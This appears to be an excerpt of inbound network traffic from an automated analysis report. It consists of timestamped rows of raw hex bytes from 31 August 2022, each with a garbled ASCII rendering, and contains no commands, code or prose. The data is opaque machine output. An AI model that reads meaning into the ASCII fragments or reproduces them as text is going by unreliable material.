2022-08-31 12:30:46 UTC	5205	IN	Data Raw: 58 d8 f2 1b eb 33 eb d9 69 29 81 0b e5 f9 1b 46 9c a1 58 ea aa 2a d5 db 95 90 3f 6a a7 2b 2b dc 91 c0 12 e0 9b dc 21 de d7 c2 d3 a6 b6 28 28 f3 85 1b ee 2e a2 2b b0 5a ca 20 85 14 b5 24 55 36 61 68 04 ab a6 99 61 d8 36 58 45 fb 1f 1b b4 5e 19 63 56 c3 9e 4b 29 aa 62 a5 40 47 a1 a6 55 25 15 50 ee 0d 21 ec 31 d1 46 48 aa 94 a9 5f 9f 02 f5 45 cb 16 ea 17 da 5f e8 00 a7 6c a6 6d fd 44 ab bd 4d 27 5f f6 10 41 0a 12 fc 4c f8 d5 a3 96 96 12 cd af 02 3d 4b 61 c5 eb 2c 27 ec 82 2e 9f 78 9e ab c0 f0 9b 07 51 12 9d 8c 62 38 d5 f1 95 e4 83 9e 9a 22 9f d0 5d bd 33 d3 d3 13 62 af 37 fa cf ca cf 16 61 2d 3b 40 ab f6 97 aa dd 63 ea 1f 2d f5 36 3a 72 fc 33 85 44 8e 01 e9 cc ad b3 7f bc f6 5d 45 b3 d1 70 40 a4 f2 2c a6 b0 2a 7e b2 e0 de 13 d5 a8 6f 99 d0 35 64 82 29 ae ee Data Ascii: X3i)FX?j++!((.+Z $U6aha6XE^cVK)b@GU%P!1FH_E_lmDM'_AL=Ka,'.xQb8"]3b7a-;@c-6:r3D]Ep@,~o5d)
2022-08-31 12:30:46 UTC	5209	IN	Data Raw: fd a3 bb 07 4d fc 47 6c 0f c4 da 77 0a c4 9b b5 68 25 09 a8 8f 12 a6 6c 52 c8 55 46 f8 6c 4f f1 65 4d f6 35 89 4a 98 b8 87 07 d6 86 63 7a 83 a7 49 99 2a 6b 24 68 2f 6c e8 d7 05 6e 04 1e 95 58 65 15 1e e7 66 8a c2 5f 6d a7 62 80 33 ab 63 2a 6b d7 6e d0 28 0d 83 96 90 6e 00 ed 12 d4 80 eb f3 88 d9 16 d6 92 da f7 b3 bb 5f 07 7e b3 65 3f 3d e4 13 2e 91 aa e5 16 d3 89 87 66 46 fe 17 2b 2e 67 1e d7 de 16 80 4e 5a 55 aa 23 27 61 e0 ce 86 a7 6a 87 ce e3 a5 2d 0b 43 64 c3 72 d5 33 c5 80 04 10 24 30 ff 61 a8 e6 de 99 ee 21 ab 43 0b 1a 97 a9 de 6f 57 e1 b0 f9 99 df 2c 98 d8 6a 1a a4 a6 6a d3 e5 36 4b 13 7c 9a b3 d8 eb 1a d3 26 6e 8e ce ad 5b 5e da b2 4d dc a2 27 1d 28 d8 9e e2 d0 95 2a a1 1e ae 5f da d1 e4 68 6f 1a 96 aa a7 44 f4 1b c0 2f 40 ac c1 85 6c 2b f1 ee 5e Data Ascii: MGlwh%lRUFlOeM5JczIk$h/lnXef_mb3ckn(n_~e?=.fF+.gNZU#'aj-Cdr3$0a!CoW,jj6K\|&n[^M'(*_hoD/@l+^
2022-08-31 12:30:46 UTC	5213	IN	Data Raw: b1 86 e5 e1 85 3b c4 2b 55 08 49 a4 69 b5 47 d3 73 d3 e7 c3 aa e3 6b fb fa b6 1a 08 71 36 b7 53 0e 11 5e 1c d6 ef 27 91 5d 1e fa c9 ed 5c 80 1e ab c3 16 a7 01 93 36 cc 54 fc d7 fe f4 ad 95 5d ed 15 92 86 1f 3b a2 6e b6 11 3a d8 f3 52 af 3e dc 65 cd 02 cf 00 cd 00 f1 d4 4b 97 5b 2f 98 d1 73 2c 19 66 41 92 6d 54 2d 2e 13 27 1a 35 6c 0e f1 b6 92 91 92 60 2f 03 f8 db ae 9c Data Ascii: ;+UIiGskq6S^']\6T];n:R>eK[/s,fAmT-.'5l`/
2022-08-31 12:30:46 UTC	5214	IN	Data Raw: 2d e7 9f c9 64 a3 98 3c a5 79 37 f9 45 73 d2 91 c1 3d a1 d2 4b e5 d4 62 51 a8 73 91 aa 07 3c 3f 06 05 20 64 8a ce 69 c7 47 94 15 2f 06 99 b2 23 16 17 64 e9 cc 82 d3 30 0a 01 4e 2f 97 07 fe 2a a8 e0 b8 3a 6e aa 04 f1 a3 6a b3 40 52 58 61 ae 02 e1 71 66 57 db e1 9d 63 ee e0 86 ed cb 2c a5 e2 73 8c 90 3f b2 2e 27 06 0f 63 d7 de ae 1e 4e fa aa 1a cb c6 58 f2 1d 0a 14 38 02 d6 16 ba 56 ca c3 c6 92 3e 86 2a 9a 02 17 a7 6a 89 a4 a0 f4 db 97 99 82 69 f7 af 94 ad 4e cd 05 fc 0f 5a d9 c6 96 5b ae 56 ed 21 f8 b5 ca 2e d3 7c 91 8b 06 1f 07 b2 fa fe d8 7f 91 e4 9c 0a 8b 9a 2b 02 a6 db d3 65 49 e7 5e da e3 18 4f c8 1b e3 19 54 41 57 99 dc 89 d5 af 84 8e bb 66 bb 8e 3a bf 07 1a f3 fe 08 35 0c 82 8f 04 02 d1 9c 67 95 75 d4 94 34 dc b3 f2 a0 26 03 32 05 86 bb f4 3d 19 51 Data Ascii: -d<y7Es=KbQs<? diG/#d0N/:nj@RXaqfWc,s?.'cNX8V>jiNZ[V!.\|+eI^OTAWf:5gu4&2=Q
2022-08-31 12:30:46 UTC	5230	IN	Data Raw: 65 6c c8 5e ad 5f 32 56 0b 0d c2 8f 56 2d fd 1f 59 8b a1 01 a2 72 ca a5 8d 74 6c 41 74 30 74 4a 07 a0 7b ec ed b7 1d 62 17 0c e7 6a b1 85 19 5a 6a 97 ae ca 65 31 29 da 77 e2 ec 1f a7 c2 4a f9 76 1a c2 6c bd 8a cd ca 55 b5 37 d4 31 b6 cd dc 97 3d 1b 70 dc b1 14 e0 d3 17 91 d8 5d f8 56 4c 72 fe f0 71 ad cf fe d6 ee 5f f1 70 dd 6e e2 e8 8b e5 18 e0 2d b5 c0 a5 e0 0b 47 35 ef ad 19 03 88 a0 98 b8 0d bb 3e e9 c1 b0 bb 18 1a 20 b4 be 45 02 9d ad 45 11 67 a5 e3 2d ac da a5 c5 b3 4a aa 63 81 6f f7 81 22 eb d8 87 84 61 1a 65 87 a2 49 f5 88 04 cd d9 48 91 ff 42 b2 99 59 a5 77 0f 99 7f e0 9f 96 d9 09 b4 22 81 d5 cc 58 d7 73 98 c4 e5 d7 55 6e 75 d8 f3 34 07 c8 c1 08 65 32 c9 ae 5c a9 8f c9 88 c7 1f c6 2e f0 6a a2 ed 6f 9f 8d eb c9 10 1f 30 eb ef 3d a0 e4 49 bc dc 1d Data Ascii: el^_2VV-YrtlAt0tJ{bjZje1)wJvlU71=p]VLrq_pn-G5> EEg-Jco"aeIHBYw"XsUnu4e2\.jo0=I
2022-08-31 12:30:46 UTC	5230	IN	Data Raw: 84 71 4f 4e 00 37 ba cc 70 1d b8 b0 0d 6e 54 6a 11 1e 7e 68 e3 42 43 cd a3 6c 33 e7 a1 1c 09 af fd 62 71 df d7 60 87 46 82 64 ab 0c f2 4e a9 78 54 af d7 f3 ca df fd f1 61 1b 82 4e 3a b7 f2 64 38 9e 50 6e 7e fb aa 1e 54 f9 05 1f 43 e7 32 d7 33 cd 30 fa 5c 2d 84 e2 0a 5d ae e0 a9 13 00 1d 2b 77 70 37 29 56 58 ec 2d ea 6a 9c 07 e8 cd 17 c1 b4 23 17 b1 9e 21 32 a2 20 91 e3 13 50 bb e1 4e ed 0d 08 2a 6e 7d 22 28 b1 a6 e1 38 eb 73 91 12 e9 2a e9 cc a1 22 0e bc 8b 20 d5 aa a2 c2 f2 d3 d2 e8 f0 86 e5 8f 5b 3b ae ff 71 39 79 ae 63 6b fa b3 13 41 f8 e2 e1 4e f2 33 ce 3e d8 31 1d f3 63 41 6b 08 13 6b 69 04 bc 4e d8 a2 75 3e f2 a0 fb f7 a2 e8 63 68 d2 c2 61 60 b8 8f 71 aa 15 ff 5b a8 9f fb e1 12 7a c8 91 38 78 cc b4 cc 8b b3 b5 bc a1 b1 33 ff 20 bb 72 a8 50 91 70 a8 Data Ascii: qON7pnTj~hBCl3bq`FdNxTaN:d8Pn~TC230\-]+wp7)VX-j#!2 PNn}"(8s" [;q9yckAN3>1cAkkiNu>cha`q[z8x3 rPp
2022-08-31 12:30:46 UTC	5233	IN	Data Raw: 01 ce 17 ca 76 cc cc ce 77 4d 23 84 8f 4f f8 80 d9 0e e2 27 ae 0c 39 23 e1 13 99 c3 2c 11 42 c7 7a 50 58 60 0d 52 83 64 0c d3 6c 2e f4 d1 b7 2a a2 90 ad 8d d5 92 76 89 3b d4 05 b2 06 d6 de b6 50 97 c4 11 27 95 1f 15 26 14 f0 5f de 16 2b 5b 88 57 31 fc ff 55 ea f8 8e db d7 8a e3 d9 0c 8e b5 98 16 29 c2 9a cd 2d c3 1b 22 67 3b 19 f9 63 6d 58 e3 c4 1a 5a 38 c0 f4 1c 4b fb c9 1e 90 ff 9f 5f 8a 58 e8 5d 51 5c e9 dc be 16 11 de 65 12 47 9f 7f b5 30 9d a4 b1 79 6a a7 6a d0 1a 90 cc df 8a c8 27 12 fa ff 81 1a 00 0e b7 ce 70 39 11 c1 e0 61 fa 0c 90 56 5c 0a bf f4 d0 ec cf c3 76 e3 5f 9b 9d 2e 2f ac 3b 26 d5 5d 0d f2 a5 6a ab fd 35 32 40 30 45 05 e6 2b c0 00 1e a9 b0 37 b8 a6 20 6f 53 6b 50 58 f5 63 aa a9 c3 b7 da 9e 65 b8 4a c6 8e 75 3a f1 28 73 15 53 a4 95 65 64 Data Ascii: vwM#O'9#,BzPX`Rdl.*v;P'&_+[W1U)-"g;cmXZ8K_X]Q\eG0yjj'p9aV\v_./;&]j52@0E+7 oSkPXceJu:(sSed
2022-08-31 12:30:46 UTC	5236	IN	Data Raw: 48 d1 be 4d 15 e4 fa d2 c0 3f 71 f4 d0 62 4d a3 81 20 d5 bc ad ae 88 89 e9 c8 39 a2 1c e7 33 ff 2e ad 88 88 a1 67 a3 0f fc 52 e7 c1 91 d6 c7 e9 92 8b e7 84 b4 d2 ef 66 8a 69 b2 53 ce fd cb 98 c6 c0 f4 c5 f4 8a bd 7a 9b bd 84 c8 c6 88 c0 f4 63 ec 1d ce 55 b1 21 99 a7 83 06 d0 97 2b 5b e5 d3 ee 9a 71 70 dd b6 2c 42 97 ae 2b 72 0b 99 8a 2f 3e dd e7 32 05 ab d3 17 58 b3 cb df 37 9a d2 c5 e7 c7 e7 81 96 2e ed 72 8f 7a b0 40 c5 d6 9f ee 09 cb 46 b3 3c 8f 9f 86 99 a9 81 db c4 95 d6 cc 66 73 64 d8 a5 2e 51 9c 85 7f 04 c4 92 38 59 f6 d8 c5 ce 07 bf d6 04 5a 8a 92 8c d7 70 1f 9c 99 2d 3f f1 f9 94 49 be ff 62 14 8b bb b0 8d 3e 1e b5 ff 63 2c ff f0 3c 3d 65 f1 c3 60 50 b5 b9 25 4a c5 bb 5e 17 f9 ec ea c5 a0 08 e2 20 fd 3d a6 a3 dc d7 a8 a8 bd 8a 9a e2 e3 6d d4 d3 ec Data Ascii: HM?qbM 93.gRfiSzcU!+[qp,B+r/>2X7.rz@F<fsd.Q8YZp-?Ib>c,<=e`P%J^ =m
2022-08-31 12:30:47 UTC	5237	IN	Data Raw: e0 00 57 2a aa ef d6 9a 16 63 f9 19 91 c4 e3 58 dc 71 0d f5 97 37 36 86 d1 22 5c ff 90 1e 63 58 8a 5f 64 3b 91 9c 90 00 db 73 11 75 d3 12 65 de bb b5 7f 9f 33 b4 7c 69 50 eb a4 1d b3 f8 a5 da 97 e2 f7 b6 b3 f6 5b 1a 0d 58 0f 5a 0f f2 97 de 23 5a 6f 92 97 6c 79 82 97 db 17 05 ac 6a a6 2e 87 0e aa 60 b0 77 a1 6b a8 0b d5 61 de 19 a0 6c b0 6e c6 07 ea 2f ac 60 c3 6a c1 0c ce 6f ae 2f e2 7d a7 77 cf bd f3 9b d3 b8 74 6a a7 0e a2 7f d1 09 73 de cf 6d ba 6c b4 6a c1 03 ad 60 ab 61 bd 3e ea 2f ea 62 a5 75 d3 0c d5 7b c3 7d d4 7e b0 68 a7 03 a0 67 ab 68 ea 3a b6 7f ba 61 f5 5f d4 79 ce 14 a6 e9 51 5d dc 00 ee 6d af 0c cb 67 b2 7b e2 7b b8 76 95 44 b8 6a b6 09 8b 75 ae 13 d5 71 a9 65 bb 3e b6 62 9e 53 ab 72 b8 68 a6 6c b0 4a ea 46 b4 73 ec 0b 82 62 ca 9b 53 6e a4 Data Ascii: W*cXq76"\cX_d;sue3\|iP[XZ#Zolyj.`wkaln/`jo/}wtjsmlj`a>/bu{}~hgh:a_yQ]mg{{vDjuqe>bSrhlJFsbSn
2022-08-31 12:30:47 UTC	5253	IN	Data Raw: f8 49 c5 90 5d 1e 53 09 84 f2 e4 f7 02 33 83 f7 10 01 bb 1d d3 82 49 1e d5 1e ce 65 b4 19 17 db 76 d0 cc 5a 89 85 5d 09 9a cd 50 07 5f f4 84 77 b9 29 fa 58 cc d8 ac 36 5a 1f c7 bc 15 9b 47 12 bc 07 8b df 16 2e de d3 14 3b f6 6a 17 b5 79 d4 c2 00 11 ac 27 98 d6 bd 64 ff 44 c8 b4 a1 be 3d 3d e6 0d 00 5c d7 86 2d 74 1b 74 39 f0 a7 7e cb de 6b be 10 c4 f3 13 40 5b e4 e8 03 eb f3 3a 1f ce 74 5c b2 f6 6a 97 71 bd f2 fd b3 67 ed 1a 8c bc 57 b6 00 fc 58 16 47 6a 3c 5d c6 95 5a f6 9b 54 59 99 10 d3 9a 5a 77 89 24 d7 16 6b db ca 17 b0 dc 16 1b cb 66 18 75 8c 92 38 47 0b 78 7b f0 3c 4d 00 42 0f d9 f6 3b 96 59 1a a4 ee 67 90 19 d2 9d 64 e9 be 73 12 1c c7 55 66 a9 da 2b 47 83 0c 4e 52 3a 9b d7 14 3b f6 17 ad bf 67 da 73 9b 50 b9 5b b2 50 f9 1f 41 0c 31 54 d8 04 0a 07 Data Ascii: I]S3IevZ]P_w)X6ZG.;jy'dD==\-tt9~k@[:t\jqgWXGj<]ZTYZw$kfu8Gx{<MB;YgdsUf+GNR:;gsP[PA1T
2022-08-31 12:30:47 UTC	5269	IN	Data Raw: 67 d0 b0 c6 66 f3 52 c7 64 04 0a ab 67 df bd c4 66 aa 17 74 63 01 66 aa 08 74 17 ab 16 1a 60 1c 16 ab 0c 7c db ab d4 d8 66 a3 af ab d5 d9 66 c1 d9 7e 66 1f 13 ab 46 4a 66 1e 12 ab 0c 2c 8b ab d0 dc 66 93 9f ab d1 dd 66 cb 03 89 44 7e cf d2 66 7b 77 ab 0c b9 1e ab ba b6 66 11 1d ab 8e 82 66 c1 76 d1 66 5f 53 ab 36 3a 66 2b 27 ab cc 91 f6 ab fe f2 66 eb e7 ab 1c d0 b0 fd fa fa a4 69 a7 6a a3 e3 67 0a 75 6a 58 6a 1f 5f 66 ea 26 67 a1 a5 62 f2 3f fe 32 6d e3 7b 02 de e4 27 13 d7 63 86 3e d3 ea 6b 27 86 d2 56 a6 70 f4 3a 9a 55 ba 62 b2 79 ab 27 e4 44 8b 65 a7 6b bc 3e e5 6d 8f 07 f5 6d bc 24 ee 6d e9 07 ae 61 bb 19 ea 68 ac 6b af 29 84 6a a0 44 ca 78 c5 d8 21 6b 27 9b 30 e2 1a 3d 62 53 8e a5 c4 44 02 9f 66 47 1b c1 df eb 66 cc f9 b5 12 cb 57 a9 89 c1 b0 c8 56 Data Ascii: gfRdgftcft`\|ff~fFJf,ffD~f{wffvf_S6:f+'fijgujXj_f&gb?2m{'c>k'Vp:Uby'Dek>mm$mahk)jDx!k'0=bSDfGfWV
2022-08-31 12:30:47 UTC	5272	IN	Data Raw: 6c 60 ac 49 a7 88 76 73 2f c2 cc 3e 71 ce b8 5d 6a 8d d4 fe 04 88 6e 62 46 8f ce 79 82 f3 74 30 c1 ca 38 29 e4 51 0e cd ec 3b 9a 16 d7 a6 4c c4 18 d7 50 77 a7 4e 9f db 10 70 a7 3e 1c c7 8b 69 89 45 a5 e9 37 33 8d 6d aa de 7a 27 87 6a ea 1b a4 2d b2 6b eb 3c b4 42 98 6b bd 6c a6 39 bd 7c db 09 b9 7d a0 2f ac 67 ab 48 8e 67 a0 63 fd 70 d5 6b be 61 cc 7f b8 6d f4 6d b2 46 84 60 a2 67 a4 6b ac 32 d7 00 f9 76 b1 3e bf 6b 94 2a e0 5c fa 78 a7 7c af 65 80 43 b2 33 ca 62 8c 77 e9 70 cd 52 a0 76 f3 23 b7 61 aa 42 87 66 b5 34 e7 6e ad 7b 98 48 bb 76 ae 78 fe 24 ab 48 87 3d fc 78 b9 29 ff 2d db 00 a0 27 ab 65 a0 65 a4 5a 81 6d 85 d8 03 27 ee 0e a7 76 d6 53 a1 6d a1 6d 9a 4d af 8b 4f ec 0a 0c 74 df d0 7b 2a 8e 81 4d a0 54 b1 6c b1 6d bc 77 aa 1d 00 8f 86 48 9a 7d b3 Data Ascii: l`Ivs/>q]jnbFyt08)Q;LPwNp>iE73mz'j-k<Bkl9\|}/gHgcpkammF`gk2v>k\x\|eC3bwpRv#aBf4n{Hvx$H=x)-'eeZm'vSmmMOt{MTlmwH}
2022-08-31 12:30:47 UTC	5283	IN	Data Raw: cd 0a c7 0d c0 37 fa 26 eb 98 55 8e 43 bc 71 0c c2 90 5d 4b 87 d8 15 f9 34 88 45 7f b4 3f f1 d7 1a cd 00 fb 36 e3 2e 54 b7 7e a3 52 9f 6a a7 7a 85 4b 87 7d b0 f3 38 ef 22 99 57 97 5a 81 4c a7 6a 53 9f 48 85 cc 0e fc 31 00 cf 3e f3 ff 33 9e 53 48 82 67 aa 60 ad f7 3a f2 3e e2 2f 98 57 55 87 4e a3 3e f3 6a a7 1a e7 d2 1f d4 19 cc 01 08 c7 d1 18 83 4e de 1d 89 44 38 f4 ea 27 8e 40 30 fa c5 08 e5 28 85 48 a5 68 45 8b 66 ab 06 cb 26 eb c6 0b e6 2b 86 4b a6 6b 46 8a 69 a4 37 fa 28 e5 c4 09 f1 3c fb 36 ed 20 b7 7a be 73 a7 6a ae 63 55 a7 6a 97 5e a3 7e b3 6a a7 68 95 51 9c 4b 86 46 8b 6b a6 5a a7 6a e7 2e a3 3a f7 6a a7 22 d9 0c c1 08 c5 04 c9 00 cd 3c f1 38 f5 34 f9 28 e5 24 e9 20 ed d4 19 d0 1d cc 01 9c 51 98 55 94 59 90 5d 88 45 84 49 80 4d a8 65 a4 69 a0 6d Data Ascii: 7&UCq]K4E?6.T~RjzK}8"WZLjSH1>3SHg`:>/WUN>jND8'@0(HhEf&+KkFi7(<6 zsjcUj^~jhQKFkZj.:j"<84($ QUY]EIMeim
2022-08-31 12:30:47 UTC	5287	IN	Data Raw: 14 31 6a a7 d3 15 4e 87 55 df a9 dc 72 c6 e3 a7 6a eb ad d4 da 6a 02 3e 7e 83 a5 5b 19 e2 92 1a 6e a7 6a 24 8d e7 1e f7 2b 6d 37 30 93 1f 5a 97 6a 94 90 91 43 39 a9 dc d2 6a 2f 13 22 16 ac 10 d3 69 27 29 af 6e 0a d3 72 64 37 39 ab 6a 0a ab 0e 66 a8 e0 eb 62 02 a3 f3 1c 68 a7 6a 58 40 f9 b5 d7 1e bf a9 e2 4c 50 77 a5 6a 94 8b 34 93 1f ea 27 6a ef a9 e2 e5 19 42 38 a9 70 12 db 7a 64 8d ef 2e 8f a9 58 3a eb 4a 6c 2d 53 1b b9 74 b8 6b 3b e1 64 e5 87 8d a8 6a a7 ee 66 bf df 56 36 af cf 46 fa 69 a6 75 62 8b ef f7 56 a3 ca 46 67 6a a7 0f 8a a9 28 4b e2 0a a7 6a 94 82 bb e8 45 e3 89 2e e3 22 28 e8 49 8d eb 26 eb 22 64 b1 ef 3e 60 b3 e5 37 61 a3 d5 17 6f 2f 68 e1 5c 14 a6 6a ee 40 84 16 10 2a 2d 24 b8 38 bd 7f 61 f3 f7 a3 90 d6 2f e2 a7 6a e5 a3 a8 ee 2b e6 a7 6a Data Ascii: 1jNUrjj>~[nj$+m70ZjC9j/"i')nrd79jfbhjX@LPwj4'jB8pzd.X:Jl-Stk;djfV6FiubVFgj(KjE."(I&"d>`7ao/h\j@*-$8a/j+j
2022-08-31 12:30:47 UTC	5288	IN	Data Raw: 1c 54 21 53 3d c7 a9 e7 e9 ec 92 1d a6 5a 1b 2d 37 8e 42 f5 2f 12 02 ff 1c 54 99 46 f0 64 2a 93 42 43 8b 34 93 1f ea 27 6a ef a9 e7 e0 19 41 9a 25 fd 69 a7 1e ea e4 64 bd df 3e 9f a1 e0 9e d6 74 b9 75 b8 76 bb 77 a4 6b a4 f4 a8 6a a7 f5 4f d5 a3 32 7f b4 a1 f1 85 1b 6a 67 af 5c 91 72 be 5c 7c 1b 48 1a a7 e8 4a 63 45 eb a0 21 d4 56 af 05 41 ba 02 9a 85 68 8c 61 a5 66 a9 6a 3d f4 a3 6a 03 80 eb 6a ae 49 3d 58 24 79 b5 6d 6c 24 25 ef a1 ee a2 63 ab 6f a7 68 a5 61 6d 2e 21 69 87 4d a0 6a a7 71 3d ff eb 30 a5 0a c7 7f b1 73 bd 6e a0 69 a8 60 a6 e8 26 eb 29 63 bf 73 1f f1 82 e4 2f 3e f2 6a a3 68 a0 8a c6 e8 c4 aa 01 6c eb 6b e8 65 a9 6b b5 7b 26 c5 85 67 a7 8a e4 cc a2 6c 99 5a a4 6c af 4f 23 cb a2 fe f2 a2 a4 d0 13 6e 2f ee e6 2e 61 a6 d8 4e 66 f3 88 84 40 8d Data Ascii: T!S=Z-7B/TFd*BC4'jA%id>tuvwkjO2jg\r\\|HJcE!VAhafj=jjI=X$yml$%coham.!iMjq=0sni`&)cs/>jhlkek{&glZlO#n/.aNf@
2022-08-31 12:30:47 UTC	5292	IN	Data Raw: e1 d2 dd ed 9f 1d af 5b 1f 7f f7 69 07 09 a9 79 07 bd 05 1b 88 7a 4c cc b9 f5 21 ed 7b 40 6e 46 93 c4 a0 ef e9 79 7f af ab 7b 6f 9b 0e ac b8 39 2d 47 50 a4 cb d2 23 60 70 b7 9f 9c 2d ec 21 07 0f 82 a6 c7 26 cf 4e eb 9f ea dc a9 2e 62 8e 8a 22 4a 04 71 67 6f bb 65 37 31 1e 12 d8 68 90 61 a0 e7 23 f4 30 63 35 3e 8a 7e bb 45 20 6f 61 71 07 98 d2 93 49 47 23 8e 2c 42 11 5e 1e 90 2e a9 27 e6 e5 eb 7d fc 0a 46 24 68 a4 e0 88 c7 e4 ec 04 48 e6 64 aa fc 42 da 1c 5d 13 48 ca 08 2a 87 df e2 df 9c 25 a7 b9 75 62 44 63 0d b2 34 6b d0 23 7a 87 34 f6 35 f8 06 88 76 f8 27 28 6e b4 72 79 67 b9 f0 7e af 37 b3 63 9f 70 32 74 3c 1c fd f7 cf b2 0c fe d7 de 65 a7 80 0d aa 6a d4 d6 2d 46 4e 5b 54 cb a6 00 c5 03 c7 6b 6f 96 fc 7a b8 b4 79 4b 86 6a cd 20 87 6a 0f 97 c2 5a 5c a1 Data Ascii: [iyzL!{@nFy{o9-GP#`p-!&N.b"Jqgoe71ha#0c5>~E oaqIG#,B^.'}F$hHdB]H*%ubDc4k#z45v'(nryg~7cp2t<ej-FN[TkozyKj jZ\
2022-08-31 12:30:47 UTC	5294	IN	Data Raw: 26 b7 a3 7a 61 8a 99 7a 76 e9 25 ff a7 f9 b1 d3 58 a9 ab 5a 3a b3 12 ef e1 5b 05 f7 19 42 c0 c2 3b af a9 e7 49 aa 83 ab c6 88 ed 60 89 87 7a c2 f0 00 a9 7b 3d b7 36 60 a6 c0 06 c0 83 e5 a3 2f 53 5a 87 c7 ed a8 64 af e7 2c 73 3e 68 ac a4 f0 32 66 b7 b4 35 3f eb 86 cb ae da 1f 62 0f 53 37 6b 6f 79 75 6e 23 fc e9 fb 66 e7 22 63 2f 2a ae a8 fc 33 af f9 25 7b 62 a5 ad 6a af ae 89 c8 6e 26 6a eb aa ff b4 28 62 86 5b 56 71 15 a9 6e ae 95 59 2d 43 4a fc 79 10 b0 4f 2e 2a 6e a6 e9 97 98 b4 6f b0 7d b9 a3 24 84 49 1f 5b e4 c7 2d 83 6c 27 a2 dc 9d 2b ab aa ca 82 05 c9 26 60 13 1c a8 dc a9 46 b8 ef a9 f5 fb 6c 28 4e 06 e3 e7 68 78 1f e8 c7 63 a4 aa 2a a2 d4 93 2c 5f 94 0c 43 6e a1 c0 0f 6e ea a8 2a 24 62 ab eb 4e cb 6a 66 af cf 66 c3 36 3a e2 0e 0f ee 41 81 ea 6f 6d Data Ascii: &zazv%XZ:[B;I`z{=6`/SZd,s>h2f5?bS7koyun#f"c/3%{bjn&j(b[VqnY-CJyO.no}$I[-l'+&`Fl(Nhxc,_Cnn$bNjff6:Aom
2022-08-31 12:30:47 UTC	5299	IN	Data Raw: bb f5 23 ec ac 62 a0 2f d4 b9 c3 e7 9d 9a e0 4f 9f 71 2d 53 05 f0 8b 8f a0 bc 19 49 ad ec 94 58 7f a5 11 cf 6e 61 e8 c7 0e af 4f 82 a9 63 2d ae 3e ba fb de f7 db 93 7f 0e 53 c8 20 ef f3 9f 54 6a 66 1a 17 81 25 0d aa 6a 4c b3 44 32 2a 56 8d f8 23 e6 2a b7 70 7c 4c 98 4f 52 f7 26 0a 0e d2 f1 eb c6 cd 35 19 c3 d4 00 8f b9 93 80 45 bb ea e1 4a 27 c1 c7 e7 c0 c2 e3 3e 0e 84 c6 4d 23 da 4a 7e b5 d1 18 d6 85 1e 46 97 73 8e c2 3e b2 2d 31 c8 e5 f8 e3 6e d5 c7 7a ab 36 e0 7d a7 e1 6e 6a c5 4f 6d 2c 69 05 ac 48 ab 2d f4 d8 04 df 3a 48 e4 d4 88 87 55 e6 75 fd c3 07 c2 1a bd 6a 76 8a 93 4e 76 83 8d 99 2b ab 2a 6e 2a a7 e3 4e a3 02 62 f2 c2 37 8f 74 4d a9 44 f9 78 e7 a6 69 b0 ac 57 99 d6 0b 76 43 64 56 81 98 31 ec 83 ec 60 0d 84 49 26 05 11 23 a0 27 ed 6a 0d 23 74 5a Data Ascii: #b/Oq-SIXnaOc->S Tjf%jLD2V#p\|LOR&5EJ'>M#J~Fs>-1nz6}njOm,iH-:HUujvNv+nNb7tMDxiWvCdV1`I&#'j#tZ
2022-08-31 12:30:47 UTC	5303	IN	Data Raw: 6f a7 82 5e 27 f9 68 6b 4e 1b 09 75 ce e7 5a d4 29 8d 03 e4 4e 8f 25 e4 74 f9 2a 65 ce 80 7f a4 6b b0 62 62 4b 2f 5e 41 5c 27 ab ae 0e bb 90 ec 16 9f d1 e8 9f c9 88 aa 0f 4e 62 a2 94 15 ab af d8 94 e1 dd a8 46 f0 62 6a fa 3a 22 6f a7 2b 5e c2 b3 2e 63 ea 1e 0e 3f 0b 48 5a 4d 7b fb 32 a3 6e ef 41 14 f2 62 ea ae bc 74 ab 69 e9 2f a4 75 76 a2 6a eb ad eb cb 42 95 8c 7d 19 c8 b3 af 3f 7c 24 cf ca aa 20 21 22 6f 6c 29 60 29 ee 6a 96 9a 18 80 18 80 98 14 3d 81 93 28 bc b7 e4 be 30 b8 b4 1b 57 b8 0a e0 d5 45 bd 98 8e 43 4c 41 67 97 13 7f 3f 4a a3 ca 42 87 6b 0a b3 69 94 b1 1a 03 b7 31 e3 6a a8 e5 90 90 76 90 fa 5c df 5f fc 71 a8 d2 55 b1 4c 12 cc 37 f8 0b c8 01 a5 ed 56 9f a8 a5 e1 33 51 c3 a4 1c c8 30 e2 37 fe 69 b4 7b ae e9 8d ca a4 24 ea 69 ab e1 71 b8 2f 62 Data Ascii: o^'hkNuZ)N%t*ekbbK/^A\'NbFbj:"o+^.c?HZM{2nAbti/uvjB}?\|$ !"ol)`)j=(0WECLAg?JBki1jv\_qUL7V3Q07i{$iq/b
2022-08-31 12:30:47 UTC	5305	IN	Data Raw: aa e4 62 b5 90 cf 7c 88 23 62 2f c9 14 b6 0a f5 68 96 0b 16 49 e0 de 96 75 29 f0 b6 67 db 01 17 a6 8a 32 66 8f ef 0c 45 ea 4e d3 c7 33 65 31 67 33 f6 52 ec b3 2f 91 55 60 d6 af 07 dd 2c cb 04 a9 6c 31 d7 12 d4 b9 40 e7 a7 89 45 ef 58 bb 8d 68 fa 27 fd ad 2e 2e 27 e2 d4 94 6d e3 c2 19 23 62 bf 2e cc a9 07 f3 8b db 2b ab 24 ea 2d a2 cb 0f 65 21 2f 09 49 2f 6f 19 64 da e0 22 18 53 66 6a 50 4d 3f 19 5b a2 2e 95 df da 17 e6 1e 66 d7 a7 dd 9a 4c 0a 64 ed 67 22 57 72 6e 42 ce 42 3d e0 47 95 2f 8b e0 4a 9d 9f 1a 3b a6 db 20 b4 84 7e 2a 55 6c 19 99 ad 2c f5 3d ea 2d a2 94 11 4c 17 38 4d 02 5e f8 a2 cc a7 d4 e9 b8 ec fa eb d4 29 17 23 ce 8b 97 30 f4 a2 ac ea ca 85 2f 82 a2 87 ac 37 80 b6 ca 0b 17 33 e5 30 c2 95 2c 2d d4 1c b0 7f 1f c2 fb ab 2e 51 d0 22 2a f3 d9 48 Data Ascii: b\|#b/hIu)g2fEN3e1g3R/U`,l1@EXh'..'m#b.+$-e!/I/od"SfjPM?[.fLdg"WrnBB=G/J; ~Ul,=-L8M^)#0/730,-.Q"H
